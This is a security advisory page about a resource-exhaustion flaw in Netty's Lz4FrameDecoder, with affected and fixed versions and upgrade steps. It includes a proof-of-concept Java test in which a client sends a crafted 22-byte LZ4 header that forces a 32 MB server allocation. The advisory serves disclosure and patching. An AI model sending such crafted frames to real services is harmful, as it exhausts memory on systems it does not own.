VDB
Sign up
HIGH7.5

GHSA-mj4r-2hfc-f8p6

Netty Lz4FrameDecoder is vulnerable to resource exhaustion

Quick fix

GHSA-mj4r-2hfc-f8p6 — io.netty:netty-codec-compression: upgrade to the fixed version with the command below.

# pom.xml: bump <version>4.2.13.Final</version> for io.netty:netty-codec-compression

Details

### Summary Lz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.

### Details io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after `readableBytes >= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.

### PoC The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

```java @Test void test() throws Exception { EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { AtomicReference<Throwable> serverError = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1);

ServerBootstrap server = new ServerBootstrap() .group(workerGroup) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline() .addLast(new Lz4FrameDecoder()) .addLast(new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverError.set(cause.getCause()); } else { serverError.set(cause); } latch.countDown(); } }); } });

ChannelFuture serverChannel = server.bind(0).sync();

Bootstrap client = new Bootstrap() .group(workerGroup) .channel(NioSocketChannel.class) .handler(new ChannelInboundHandlerAdapter() { @Override public void channelActive(ChannelHandlerContext ctx) { ByteBuf buf = ctx.alloc().buffer(22, 22); buf.writeLong(MAGIC_NUMBER); buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F); buf.writeIntLE(1); buf.writeIntLE(1 << 25); buf.writeIntLE(0); buf.writeByte(0);

ctx.writeAndFlush(buf);

ctx.fireChannelActive(); } });

ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

assertTrue(latch.await(10, TimeUnit.SECONDS));

assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

clientChannel.channel().close(); serverChannel.channel().close(); } finally { workerGroup.shutdownGracefully(); } } ```

### Impact Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Are you affected?

Enter the version of the package you're using.

Affected packages

Maven/io.netty:netty-codec-compression
Introduced in: 0Fixed in: 4.2.13.Final
Fix# pom.xml: bump <version>4.2.13.Final</version> for io.netty:netty-codec-compression
Maven/io.netty:netty-codec
Introduced in: 0Fixed in: 4.1.133.Final
Fix# pom.xml: bump <version>4.1.133.Final</version> for io.netty:netty-codec

References